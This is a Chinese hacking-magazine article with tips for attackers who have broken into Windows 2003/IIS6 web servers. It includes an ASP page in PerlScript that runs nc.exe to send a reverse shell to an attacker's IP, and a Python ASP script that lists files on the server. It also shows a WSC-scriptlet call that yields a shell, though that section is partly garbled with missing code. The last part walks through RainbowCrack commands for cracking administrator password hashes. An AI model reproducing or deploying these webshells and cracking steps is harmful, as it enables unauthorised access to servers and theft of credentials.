作者:NP

本文已发于 非安全
作者:NetPatch
继11期和12期的两篇介绍Hacking中的小命令的后,在LCX大哥的淫威下,偶只能继续科普生涯了。长话短说,我们直接进入正题。
以下内容测试环境均为2K3+IIS6

一.Perl、python环境的利用!
话说Perl环境,除了服务器支持PL这个扩展映射外,我们一般无法使用Perl去做一些想做的事情。比如,当旁注进入服务器,却因服务器执行不了命令而 原地踏步,无法继续向最高权限前进。特别是现在国内的虚拟机,大部分都是如此,让小菜们很是头疼。所以今天NP就来讲讲被一般人忽视的Perl环境。首 先,Perl环境,可以让我们利用的,是环境变量和目录的权限疏忽,这个可以参考我07年10期写的《谈环境变量在Hacking中的利用》!其次,也是被一般人遗忘的技巧,虽然服务器不支持PL扩展映射,但是安装ActivePerl后默认支持perlscript,于是我们用 perlscript写ASP文件,在ASP里用Perlscript的内部函数来执行命令,或者做些Perlscript能做的事情。但是权限任然是 ASP的来宾权限,具体权限分配以及原理可以参考08年12期我写的《小谈WIN系统Hacking中的小命令》
我们来举例说明下。

<%@Language=PerlScript%> #@Language=PerlScript  这句表明这一页的ASP脚本所使用的脚本语言为Perlscript #由于是Perl,所以注释是用井号 <% system("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443"); #用system函数执行命令 #exec("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443"); #用exec函数执行命令 %>

将上面的代码保存为perl.asp,本地NC监听443,执行后,我们的NC会接到目标机器反弹回来的SHELL。如图1所示

续谈Hacking中的小技巧_第1张图片

换成EXEC也一样,不过我们就不多说明了,举一反三,其他的就留给读者自己去做试验咯。
Python环境也一样。当服务器装有activepython时,我们就可以用@Language定义本页脚本解析语言来切换成Python!
范例:

<%@LANGUAGE="python" CODEPAGE="936"%> <% import os import os.path   rootdir = "e://wwwroot//" for parent, dirnames, filenames in os.walk(rootdir): #case 1: for dirname in dirnames: Response.Write("parent is:"+parent+"<br>") Response.Write("dirname is:"+dirname+"
") #case 2 for filename in filenames: #Response.Write("parent is:"+parent+"
") Response.Write("filename with full path :"+os.path.join(parent, filename)+"
")   %>

运行结果如图2

续谈Hacking中的小技巧_第2张图片

当然你也可以发挥DIY精神,改造一个好用的基于asp的Perl或者Python的Webshell。这边我就不献丑了,留个读者当复习作业咯。
这边唯一要提示的是,Python对中文支持不是很好,写代码的时候尽量使用英文。
NP在测试时有一想法,不知道在支持perlscript和python服务器上,是否可以利用这两脚本语言的SOCK函数去做些什么事情呢?YY中...

二、WSC “Windows 脚本部件”的巧用。
对于WSC,可能大多数的人,都会感到很陌生!我也是通过LCX大哥的介绍才开始认识这个强大的东东。Windows 脚本部件为您提供了用脚本创建功能强大、可复用的 COM 部件的简便方式。您可以使用任何支持 Microsoft ActiveX Scripting 接口的脚本语言来创建脚本部件。支持这些接口的脚本语言有: JScript、 Microsoft Visual Basic Scripting Edition (VBScript)、PERLScript、PScript 和 Python。
这次我们也不多介绍,就介绍asp调用WSC,用Vbscript和Perlscript,其他的就让读者自己慢慢研究吧
WSC文件内容如下:

或许你对这些不大明白,我们来看下微软给的帮助吧。

元素    元素包含的是一个完整的脚本部件定义。在同一个 .wsc 文件中可以出现多个 元素,但这些元素应包含在一个 元素内。
元素 包括用来将脚本部件注册为 COM 部件的信息。如果宿主应用程序 (如 Microsoft Internet Explorer 5.0)在创建该脚本部件的实例时没有直接使用 Windows 注册表,则该元素不是必需的。
元素 包含脚本部件所说明的属性、方法和事件的定义。这些定义指向定义在独立的

唯一不同的是,我们用language指定了脚本解析语言为PerlScript(再强调下,需要服务器支持Perlscript)
当我们把下面代码保存为ASP文件,并访问时,即可获得一个反弹SHELL。
<%GetObject("script:" Server.MapPath("SimpleASP.WSC")).Test%>

三、RainBowCrack的使用
相信不少朋友进入目标服务器后都曾为管理员密码的事伤过脑筋吧。又是GINA又是HASH的。往常,很多人采用GINA记录管理员登陆密码以达到继续*** 的目的,或者用LC5破解LM Hash,但是LC5是采用普通的暴力破解,所以耗时费力,效率太低。早在一年半前我就开始享受RainBowCrack带来的效率。现在国内也开始慢慢 普及用Rainbowcrack了。
RainbowCrack是一款国人开发的密码破译工具,它的设计思路基于快速时间——内存平衡技术(Time-Memory Trade-Off Technique),简单来说就是它在进行密文解密时不是逐条来进行解密操作的,而是在解密前先生成一份完整的明文到密文的对照表,再一次批量对密文进 行解密。RainbowCrack代表了目前解密技术的一个新的发展方向,它的诞生也使得广泛使用的MD5算法和Windows的LM算法生成的密文在极 短的时间内得到破译,而且破译的成功率也达到了破纪录的水平。
虽然rainbowcrack用彩虹表跑密码的速度很快,但是创建彩虹表可能要花费数小时、数天甚至好几个月的时间。还好网络上早有组织在从事彩虹表的制作。如比较出名的www.freerainbowtables.com,很多的网络自愿者,自己利用电脑空余时间或空余的系统资源去生成字典,并上传到服务器。我们可以从网络上下载到一些免费的彩虹表.
RainbowCrack的最新版本为1.2,但它不支持多线程操作!这个工具可以在地址http://www.antsight.com/zsl/rainbowcrack/下载。RainbowCrack包含了下述实用程序:
rtgen.exe——彩虹表生成器,生成口令、散列值对照表。
rtsort.exe——排序彩虹表,为rcrack.exe提供输入。
rcrack.exe——使用排好序的彩虹表进行口令破解。
rtdump.exe——彩虹表转储
我们首先来看下 彩虹表生成器 rtgen.exe 的使用
rtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
rainbow_chain_length rainbow_chain_count \
file_title_suffixrtgen hash_algorithm \

plain_charset plain_len_min plain_len_max \
rainbow_table_index \
-bench
具体参数详情 如图9所示

续谈Hacking中的小技巧_第9张图片

彩虹表生成器的命令行示例
rtgen lm numeric 1 7 0 100 16 lmhash
lm 为我们要的散列算法(Windows口令的散列方法)
numeric 为明文所用的字符集
1 为明文的最小长度
7 为明文的最大长度
0 为彩虹表的索引
100 为彩虹链长度
16 为要生成的彩虹链的个数
Lmhash 为添加到文件标题后面的字符串,用于书写彩虹表的注释

当彩虹表生成后,为了加快彩虹表的查找速度,我们需要使用彩虹表排序程序(rtsort.exe)进行排序!
rtsort的命令很简单,参数就是彩虹表文件名
rtsort rainbow_table_pathname
经过几分钟的排序后,我们就可以用生成的字典去跑密码了

rcrack *.rt -f hashes.txt
把Hash放到hashes.txt文本中,这样我们可以跑批量的hash散列!
效果如图10所示

续谈Hacking中的小技巧_第10张图片

总结来说,这些技术其实在网络上以及早有出没,只不过,相对在国内相对比较少罢了。只有想不到,没有做不到。只要加以改造,就可以让这些技术成为 Hacking中的又一利器!同时也告诫管理员朋友,需要注意的事项。并不是禁止了WSH、SA等组建就不能执行命令的!也并不是服务器不支持PL等扩展 映射就没办法使用的。
HASH散列随着时间和技术的发展也不是遥不可及的!技术和物理条件,缩短了我们爆破的时间,提高了Hacking的效率!